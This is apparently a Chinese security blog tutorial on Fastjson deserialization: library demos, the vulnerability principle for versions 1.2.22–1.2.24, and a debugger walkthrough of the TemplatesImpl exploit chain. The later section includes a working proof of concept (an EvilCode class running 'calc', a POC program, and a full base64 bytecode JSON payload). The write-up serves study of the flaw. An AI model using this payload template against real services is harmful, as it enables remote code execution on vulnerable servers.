Fastjson系列

Fastjson

Fastjson简介

Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。

项目地址:https://github.com/alibaba/fastjson

演示代码demo

首先在pom.xml添加依赖

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

Student.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package org.example.Demo;

public class Student {
private String name;
private int age;

public Student() {
System.out.println("构造函数");
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getAge() {
System.out.println("getAge");
return age;
}

public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
}

序列化函数:JSON.toJsonString()

反序列化函数:JSON.parseObject/JSON.parse

序列化demo

StudentSerialize.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example.Demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class StudentSerialize {
public static void main(String[] args) {
Student student = new Student();
student.setName("cmisl");
student.setAge(18);
String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonString);
}
}

SerializerFeature.WriteClassName,是JSON.toJSONString()中的一个设置属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type可以指定反序列化的类,并且调用其getter/setter/is方法。

Fastjson接受的JSON可以通过@type字段来指定该JSON应当还原成何种类型的对象,在反序列化的时候方便操作。

输出如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 设置了SerializerFeature.WriteClassName
构造函数
setName
setAge
getAge
getName
{"@type":"org.example.Demo.Student","age":18,"name":"cmisl"}

// 未设置SerializerFeature.WriteClassName
构造函数
setName
setAge
getAge
getName
{"age":18,"name":"cmisl"}

我们可以跟一下序列化部分。直接跟进JSON.toJSONString函数,因为是对Student对象序列化,所以序列化对的逻辑应该就是在serializer.write(object)里面了。

image-20240612202019164

反序列化demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example.Demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class StudentUnserialize {
public static void main(String[] args){
String jsonstring ="{\"@type\":\"org.example.Demo.Student\",\"age\":18,\"name\":\"cmisl\"}";
Student obj = JSON.parseObject(jsonstring, Student.class, Feature.SupportNonPublicField);
System.out.println(obj);
System.out.println(obj.getClass().getName());
}
}

输出如下

1
2
3
4
5
构造函数
setAge
setName
org.example.Demo.Student@14514713
org.example.Demo.Student

反序列化时的 Feature.SupportNonPublicField 参数

我们把setAge函数注释掉,age作为一个私有变量,如果我们反序列化时,一个变量是私有的,并且没有对应的setter函数,那么反序列化的时候就会返回null,不会真正实现这个变量,这时候就需要用到SupportNonPublicField 参数了,这样我们的私有变量就可以正常反序列化了。

由于该字段在fastjson1.2.22版本引入,所以只能影响1.2.22-1.2.24

未使用SupportNonPublicField

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example.Demo;

import com.alibaba.fastjson.JSON;

public class StudentUnserialize_demo {
public static void main(String[] args) {
String jsonstring ="{\"@type\":\"org.example.Demo.Student\",\"age\":18,\"name\":\"cmisl\"}";
Student obj = JSON.parseObject(jsonstring, Student.class);
System.out.println(obj);
System.out.println(obj.getClass().getName());
System.out.println(obj.getName() + " " + obj.getAge());
}
}


输出如下

1
2
3
4
5
6
7
构造函数
setName
org.example.Demo.Student@14514713
org.example.Demo.Student
getName
getAge
cmisl 0

使用SupportNonPublicField

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example.Demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class StudentUnserialize_demo1 {
public static void main(String[] args) {
String jsonstring ="{\"@type\":\"org.example.Demo.Student\",\"age\":18,\"name\":\"cmisl\"}";
Student obj = JSON.parseObject(jsonstring, Student.class, Feature.SupportNonPublicField);
System.out.println(obj);
System.out.println(obj.getClass().getName());
System.out.println(obj.getName() + " " + obj.getAge());
}
}

输出如下

1
2
3
4
5
6
7
构造函数
setName
org.example.Demo.Student@14514713
org.example.Demo.Student
getName
getAge
cmisl 18

可以看到现在我们的age成功反序列化出来了。

JSON.parseObject不指定Object.class

调整student类如下,所有私有变量不设置setter函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package org.example.Demo;

import java.util.Properties;

public class Student {
private String name;
private int age;
private String address;
private Properties properties;

public Student() {
System.out.println("构造函数");
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getAge() {
System.out.println("getAge");
return age;
}

public String getAddress() {
System.out.println("getAddress");
return address;
}

public Properties getProperties() {
System.out.println("getProperties");
return properties;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package org.example.Demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class StudentUnserialize_demo2 {
public static void main(String[] args) {
String jsonstring ="{\"@type\":\"org.example.Demo.Student\",\"age\":18,\"name\":\"cmisl\",\"address\":\"wuhan\",\"properties\":{}}";
// Student obj =JSON.parseObject(jsonstring);
Object obj = JSON.parseObject(jsonstring);
// 或以下语句,输出结果一致
// JSONObject obj = JSONObject.parseObject(jsonstring);

System.out.println(obj);
System.out.println(obj.getClass().getName());

}
}

输出如下

1
2
3
4
5
6
7
8
9
构造函数
setName
getProperties
getAddress
getAge
getName
getProperties
{"name":"cmisl","age":0}
com.alibaba.fastjson.JSONObject

从输出结果来看,我们调用了Student类的构造函数,以及setter方法,和getter方法,但无论定义的对象是Object还是JSONObject,最后反序列化得到的都是JSONObject类对象,可以看到是未反序列化成功的。

我们来为JSON.parseObject指定反序列化类型(设置第二个参数),为Object.class或Student.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example.Demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class StudentUnserialize_demo3 {
public static void main(String[] args) {
String jsonstring ="{\"@type\":\"org.example.Demo.Student\",\"age\":18,\"name\":\"cmisl\",\"address\":\"wuhan\",\"properties\":{}}";
Object obj = JSON.parseObject(jsonstring,Object.class);
// 或以下语句,输出结果一致
// Object obj = JSONObject.parseObject(jsonstring,Student.class);
// Student obj= JSONObject.parseObject(jsonstring,Student.class);
System.out.println(obj);
System.out.println(obj.getClass().getName());
}
}

输出如下

1
2
3
4
5
构造函数
setName
getProperties
org.example.Demo.Student@1de0aca6
org.example.Demo.Student

可以看到这次反序列化成功,获取到了Student这个类,我们为JSON.parseObject指定反序列化类型(设置第二个参数),那么通过@type的作用,会将JSON转换成对应的类。如果没有@type,我们也可以通过第二个参数来控制需要转换成的类。可以参考下面代码,输出和上面一样。JSON.parseObject如果不指定反序列化类型(设置第二个参数),则会返回fastjson.JSONObject,无法将传入的类进行转换

1
2
3
4
5
6
7
8
9
10
11
12
package org.example.Demo;

import com.alibaba.fastjson.JSON;

public class StudentUnserialize_demo4 {
public static void main(String[] args) {
String jsonstring ="{\"age\":18,\"name\":\"cmisl\",\"address\":\"wuhan\",\"properties\":{}}";
Object obj = JSON.parseObject(jsonstring,Student.class);
System.out.println(obj);
System.out.println(obj.getClass().getName());
}
}

一些结论

感觉自己说不出什么花来,还是在前辈的文章上学习,索性直接引用 Mi1k7ea 师傅的结论

根据前面的结果,有如下结论:

  • 当反序列化为JSON.parseObject(*)形式即未指定class时,会调用反序列化得到的类的构造函数、所有属性的getter方法、JSON里面的非私有属性的setter方法,其中properties属性的getter方法调用了两次;
  • 当反序列化为JSON.parseObject(*,*.class)形式即指定class时,只调用反序列化得到的类的构造函数、JSON里面的非私有属性的setter方法、properties属性的getter方法;
  • 当反序列化为JSON.parseObject(*)形式即未指定class进行反序列化时得到的都是JSONObject类对象,而只要指定了class即JSON.parseObject(*,*.class)形式得到的都是特定的Student类;

Fastjson会对满足下列要求的setter/getter方法进行调用:

满足条件的setter:

  • 函数名长度大于4且以set开头
  • 非静态函数
  • 返回类型为void或当前类
  • 参数个数为1个

满足条件的getter:

  • 函数名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

parse与parseObject区别

还记的前面提到的反序列化方法吗,JSON.parseObject/JSON.parse,我们浅浅研究了下JSON.parseObject,那么JSON.parse和它比有什么区别呢?

  • **parse()**:

    • 返回的是 JSONObject 类型。它会将 JSON 字符串解析为 JSONObject,适用于在没有特定类定义的情况下处理 JSON 数据。适用于在没有特定类定义的情况下,需要动态处理 JSON 数据时。

    • 返回的是实际类型的对象。根据输入的 JSON 字符串和传入的类类型,它会返回一个对应的 Java 对象。适用于当你有明确的类定义并希望直接得到该类的实例时。

    • 适用于当你有明确的类定义并希望直接得到该类的实例时。

    • 示例:

      1
      2
      String jsonString = "{\"name\":\"John\",\"age\":30}";
      Person person = JSON.parseObject(jsonString, Person.class);
    • 在这种情况下,Person 类中的 setter 方法会被调用,直接返回 Person 类的实例。

  • **parseObject()**:

    • 适用于在没有特定类定义的情况下,需要动态处理 JSON 数据时。

    • 示例:

      1
      2
      String jsonString = "{\"name\":\"John\",\"age\":30}";
      JSONObject jsonObject = JSON.parseObject(jsonString);
    • 这会返回一个 JSONObject,可以通过 jsonObject.getString("name")jsonObject.getIntValue("age") 来访问数据。

也就是说,我们用parse()反序列化会直接得到特定的类,而无需像parseObject()一样返回的是JSONObject类型的对象、还可能需要去设置第二个参数指定返回特定的类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example.Demo;

import com.alibaba.fastjson.JSON;

public class StudentUnserialize_demo5 {
public static void main(String[] args){
String jsonstring ="{\"@type\":\"org.example.Demo.Student\",\"age\":18,\"name\":\"cmisl\",\"address\":\"wuhan\",\"properties\":{}}";
Object obj = JSON.parse(jsonstring);
// 或以下语句,输出结果一致
// Object obj = JSON.parse(jsonstring, Feature.SupportNonPublicField);
System.out.println(obj);
System.out.println(obj.getClass().getName());
}
}

输出如下

1
2
3
4
5
构造函数
setName
getProperties
org.example.Demo.Student@1de0aca6
org.example.Demo.Student

Fastjson反序列化漏洞原理

由前面的demo可以看出FastJson自己实现了一套序列化和反序列化的方法设计,没有使用的java原生序列化反序列化方法,大致就是一个对象序列化成一个Json格式的字符串,反序列化则是由Json格式字符串变成一个类。

如果我们可以传入一个恶意构造的JSON内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,那么就可以导致代码执行。

那么如何才能够反序列化出恶意类呢?

还记得之前提到的吗,我们可以为JSON.parseObject指定反序列化类型(设置第二个参数),如果我们设置的是Object.class,那么就可以反序列化任意类,因为我们设置的是Object.class,那么我们可以根据传入的JSON字符串中的@type来反序列化出想要的类,除了Object.class,还有JSON.class也可以反序列化任意类,另外JSONObject.class不能反序列化出想要的类,但是会去调用@type指定类的public属性的setter方法和getProperties方法,如果恶意代码存在setter方法或者getProperties方法也可以造成命令执行。

由前面知道,在某些情况下进行反序列化时会将反序列化得到的类的构造函数、getter方法、setter方法执行一遍,如果这三种方法中存在危险操作,则可能导致反序列化漏洞的存在。换句话说,就是攻击者传入要进行反序列化的类中的构造函数、getter方法、setter方法中要存在漏洞才能触发。

小结

若反序列化指定类型的类如Student obj = JSON.parseObject(jsonstring, Student.class);,该类本身的构造函数、setter方法、Properties属性的getter方法存在危险操作,则存在Fastjson反序列化漏洞;

若反序列化未指定类型的类如Object obj = JSON.parseObject(jsonstring, Object.class);,该若该类的子类的构造方法、setter方法、Properties属性的getter方法存在危险操作,则存在Fastjson反序列化漏洞;

若反序列化未指定类型的类如Object obj = JSON.parseObject(jsonstring);,该若该类的子类的构造方法、setter方法、getter方法存在危险操作,则存在Fastjson反序列化漏洞;

1.2.22-1.2.24反序列化漏洞

环境

导入pom.xml依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.9</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.12</version>
</dependency>

对于Fastjson 1.2.22-1.2.24 版本的反序列化漏洞的利用,目前已知的主要有以下的利用链:

  • 基于TemplateImpl;
  • 基于JNDI(又分为基于Bean Property类型和Field类型);

TemplatesImpl利用链

TemplatesImpl在我们学习反序列化基础的时候CC2、CC3学习到过。

我们的恶意类需要继承AbstractTranslet接口,后面会分析为什么需要这样。

EvilCode.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package org.example.fastjson_1_2_24;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class EvilCode extends AbstractTranslet {
public EvilCode() throws IOException {
Runtime.getRuntime().exec("calc");
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

public static void main(String[] args) throws Exception {
EvilCode t = new EvilCode();
}
}

TemplatesImpl_POC.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package org.example.fastjson_1_2_24;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;

public class TemplatesImpl_POC {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(Files.newInputStream(new File(cls).toPath()), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}

public static void main(String args[]){
try {
ParserConfig config = new ParserConfig();
// final String fileSeparator = System.getProperty("file.separator");
// final String evilClassPath = System.getProperty("user.dir") + "\\src\\main\\java\\org\\example\\fastjson_1_2_24\\EvilCode.class";
final String evilClassPath="D:\\java_local\\fastjson\\target\\classes\\org\\example\\fastjson_1_2_24\\EvilCode.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String eviljsonString = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
System.out.println(eviljsonString);

Object obj = JSON.parseObject(eviljsonString, Object.class, config, Feature.SupportNonPublicField);
//Object obj = JSON.parse(text1, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}

我们的payload如下

1
2
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACZMb3JnL2V4YW1wbGUvZmFzdGpzb25fMV8yXzI0L0V2aWxDb2RlOwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAA1FdmlsQ29kZS5qYXZhDAAIAAkHAC8MADAAMQEABGNhbGMMADIAMwEAJG9yZy9leGFtcGxlL2Zhc3Rqc29uXzFfMl8yNC9FdmlsQ29kZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAsAAAAOAAMAAAAMAAQADQANAA4ADAAAAAwAAQAAAA4ADQAOAAAADwAAAAQAAQAQAAEAEQASAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAATAAwAAAAgAAMAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAFQAWAAIADwAAAAQAAQAXAAEAEQAYAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAYAAwAAAAqAAQAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAGQAaAAIAAAABABsAHAADAA8AAAAEAAEAFwAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAbAAgAHAAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="],'_name':'cmisl','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}

Payload中几个重要的Json键的含义:

  • @type——指定的解析类,即com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,Fastjson根据指定类去反序列化得到该类的实例,在默认情况下只会去反序列化public修饰的属性,在Payload中,_bytecodes_name都是私有属性,所以想要反序列化这两个属性,需要在parseObject()时设置Feature.SupportNonPublicField
  • _bytecodes——是我们把恶意类的.class文件二进制格式进行Base64编码后得到的字符串;
  • _outputProperties——漏洞利用链的关键会调用其参数的getOutputProperties()方法,进而导致命令执行;
  • **_tfactory:{}**——在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory设置;

TemplatesImpl调用链

1
2
3
4
5
TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance
TemplatesImpl#defineTransletClasses
TemplatesImpl#defineClass
java.lang.ClassLoad#defineClass

TemplatesImpl利用链思路

构造一个TemplatesImpl反序列化的字符串,其中_bytecodes设置为我们恶意的代码的字节码,接着,我们会反射去调用newInstance函数来实例化这个恶意类,而在实例化的过程中,触发我们的恶意类的构造函数,触发命令执行。

而想要达到上面的目的,根据我们之前提到的利用链,需要调用到TemplatesImpl#newTransformer。并且,我们是要在反序列化的过程中自动触发TemplatesImpl#newTransformer函数,我们可以考虑的是之前的结论

若反序列化指定类型的类如Student obj = JSON.parseObject(jsonstring, Student.class);,该类本身的构造函数、setter方法、Properties属性的getter方法存在危险操作,则存在Fastjson反序列化漏洞;

若反序列化未指定类型的类如Object obj = JSON.parseObject(jsonstring, Object.class);,该若该类的子类的构造方法、setter方法、Properties属性的getter方法存在危险操作,则存在Fastjson反序列化漏洞;

若反序列化未指定类型的类如Object obj = JSON.parseObject(jsonstring);,该若该类的子类的构造方法、setter方法、getter方法存在危险操作,则存在Fastjson反序列化漏洞;

我们需要找到一条链,链首是上面提到的比较危险的方法,比如setter方法、Properties属性的getter方法,而这条链最终调用到TemplatesImpl#newTransformer函数,其实往上跟一步就找到链首了,getOutputProperties这个getter方法,正好是Properties属性,所以这个函数正是我们想要的。

image-20240614154620248

那这样我们就可以构造POC了,JSON格式如下

1
2
3
4
5
6
7
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAA......JA=="],
"_name": "cmisl",
"_tfactory": {},
"_outputProperties": {},
}

调试分析

接下来的调试还是比较繁琐的,记录的目的也是为了自己更有印象,也是为了调试的时候更细心一点,避免忽略了一些细节。读者可以跳过此部分。

在序列化的函数代码打上断点,我们调试过程这种重点关注输入的流转。

1
Object obj = JSON.parseObject(eviljsonString, Object.class, config, Feature.SupportNonPublicField);

我们的输入(恶意payload)在input里面,进入了DefaultJSONParser类的构造函数。创建了一个默认的JSON解析器

image-20240614175834265

这个构造函数,如果你的输入是{xxx}的形势,就会给你的lexer.token赋值JSONToken.LBRACE这个常量,也就是12,相当于做了个标准,表示是”{“这个符号开头的字符串

image-20240618041751420

image-20240618041930329

image-20240618043431921

接着在339行进入了这个默认JSON解析器的parseObject方法。这个名字一看就是解析对象

1
T value = (T) parser.parseObject(clazz, null);

这个函数中,我们会去根据将type也就是parseObject(clazz, null);中的clazz作为参数传入getDeserialize函数,大概意思是得到反序列化(反序列化器),

image-20240618044522960

跟进去之后,第一行代码会通过IdentityHashMap.java#get方法获取type对应的derializer,然后进入第一个if直接返回这个derializer,数据类型为JavaObjectDeserializer。

1
ObjectDeserializer derializer = this.derializers.get(type);

接着就调用这个derializer(反序列化器)的deserialze方法,也就是JavaObjectDeserializer#derializer,这个函数很简单。其实就执行一行代码,在第45行。

1
return (T) parser.parse(fieldName);

执行了我们之前创建的默认JSON解析器parser的parse(解析)方法,在一个switch方法里面,根据token值进行不同的case操作,之前我们给lexer.token赋值了JSONToken.LBRACE,也就是12,然后就会进入case LBRACE。然后new一个JSONObject对象,然后执行DefaultJSONParser#parseObject方法解析这个对象,fieldName为null。

image-20240618050056519

这里会对我们的JSON字符串进行一些检测,比如当前字符串是否是null,是否是},是否既不是{,也不是,,这些判断会抛出异常或者不继续执行代码逻辑,而我们当前是{字符,正常进入函数逻辑,接着会检查下一个字符是否是",我们显示符合,然后就会获取我们第一个键值对的键名,也就是@type,赋值给key。

image-20240618050627482

然后我们会进入一个if判断,判断key是否是@type,和是否开启Feature.DisableSpecialKeyDetect选项,默认没有开启,所以这个if可以直接进入,然后获取key对应的值,也就是@type的值com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,然后加载这个类。

image-20240618051613605

函数里面会加载TemplatesImpl,然后吧加载的Class对象clazz和TemplatesImpl类名字添加到一个Map里面,然后return加载的clazz。

1
2
clazz = contextClassLoader.loadClass(className);
mappings.put(className, clazz);

接着继续跟,来到下面两句,会先获取clazz对应的deserializer(反序列化器),然后执行这个deserializer的deserialze函数。

image-20240618052105236

由于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的deserializer没有存在IdentityHashMap里面,无法直接获取,进入第二个if

1
2
3
if (type instanceof Class<?>) {
return getDeserializer((Class<?>) type, type);
}

进入ParserConfig#getDeserializer,里面有检测黑名单,然后进去一系列if判断这个类的位置,没有找到。

image-20240618053109161

最后到ParserConfig#createJavaBeanDeserializer函数,type和clazz一样。

image-20240618053513614

在里面调用了JavaBeanInfo#build。

image-20240618053718374

JavaBeanInfo#build函数中,第328行的for循环,会循环methods,而methods在135行赋值Method[] methods = clazz.getMethods();,所以methods是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中的所有方法。

image-20240618054217193

然后会有一些if判断,挑选中合适的方法,在429行的add函数中添加到fieldList中。这里主要是筛选setter方法。

1
add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures,annotation, fieldAnnotation, null));

image-20240618054608442

在490行又是一个类似的for循环,这一部分和上面差不多,筛选符合条件的getter方法放入fieldList。

image-20240618055205032

image-20240618055437206

然后将初始化一个JavaBeanInfo存储这些信息,然后返回给beanInfo。

image-20240618055539484

接着一些if判断都是false,直到586行才为true,进入if里面JavaBeanDeserializer函数

image-20240618134939325

会调用重写的JavaBeanDeserializer方法,而第二个参数调用build,其实和我们之前的build结果一样。相当于吧config和之前的JavaBeanInfo作为参数执行了JavaBeanDeserializer方法。

image-20240618135319749

遍历beaninfo中的sortedFields,然后根据对应的属性创建对应的Deserializer(反序列化器),然后添加到sortedFieldDeserializers

在第二个for循环中会根据fieldInfo的名字调用getFieldDeserializer函数在sortedFieldDeserializers数组中寻找对应的Deserializer(反序列化器)。

image-20240618141803410

回到getDeserializer函数,返回反序列化器。

image-20240618142958710

回到DefaultJSONParser#parseObject函数,将反序列化器赋值给deserializer,数据类型为JavaBeanDeserializer,然后调用它的JavaBeanDeserializer#deserialze方法,开始正式反序列化。

前面做了一些检查,到570行。函数名字意思是创建一个实例化,跟进。

image-20240618144129154

然后经过if判断来到这里,获取了TemplatesImpl的默认构造函数,然后通过newInstance创建类的实例。此时我们就获取了TemplatesImpl类。

image-20240618144254472

接着来到parseField函数,大概意思是解析字段。

image-20240618144612263

JavaBeanDeserializer#parseField调用JavaBeanDeserializer#smartMatch来匹配key对应的字段反序列化器。而key匹配的对象就是之前在JavaBeanInfo#build函数中符合条件的setter和getter函数的字段名。有三个outputPropertiesstylesheetDOMuRIResolver

image-20240618145249774

image-20240618145205864

接着这里会有一些替换操作,比如我们传入的键名为_bytecodes,会替换掉,变为bytecodes。

image-20240618150615180

然后又调用getFieldDeserializer函数获取key对应的字段反序列化器,而我们知道,只有_outputProperties这个参数存在对应的字段反序列化器。所以当key为_bytecodes匹配不到,返回null。image-20240618150844833

然后回到JavaBeanDeserializer#parseField,虽然返回null,但是后面会在ConcurrentHashMap中在获取key对应的deserOrField。然后获取其对应的DefaultFieldDeserializer(默认字段反序列化器)

image-20240618164604868

image-20240618164153627

然后调用这个反序列化器的parseField解析字段操作。fieldValueDeserilizer为null,进入getFieldValueDeserilizer给fieldValueDeserilizer赋值

image-20240618165319976

image-20240618165516301

接着会去用fieldValueDeserilizer的deserialze反序列化操作对_bytecodes反序列化,然后在83行setValue中给TemplatesImpl对象赋值。

image-20240618165615185

可以看一下调用堆栈。这里进入了decodeBase64函数中,对我们的_bytecodes对应的值进行base64解码,然后就可以获取到我们恶意代码的字节流了,然后会在setValue赋值给TemplatesImpl对象。这也是为什么我们的payload需要base64编码的原因。

image-20240618165935913

image-20240618170143828

后面的几个键对应的值也是用这种方式赋值,只是不需要base64解码了。因为他们需要赋值的对象不是byte[]数组类型。具体可以自己调试,注意在ObjectArrayCodec#deserialze绕一圈进入第二次才会进去解析_bytecodes的部分

image-20240618172124226

对于key等于_outputProperties时,我们是可以直接获取它的字段反序列化器的。当它进入SetValue函数的时候,是会通过反射调用getoutputProperties方法。然后就会走到我么TemplatesImpl利用链的链首了。

image-20240618170526201

image-20240618170853320

调用堆栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
newInstance:396, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
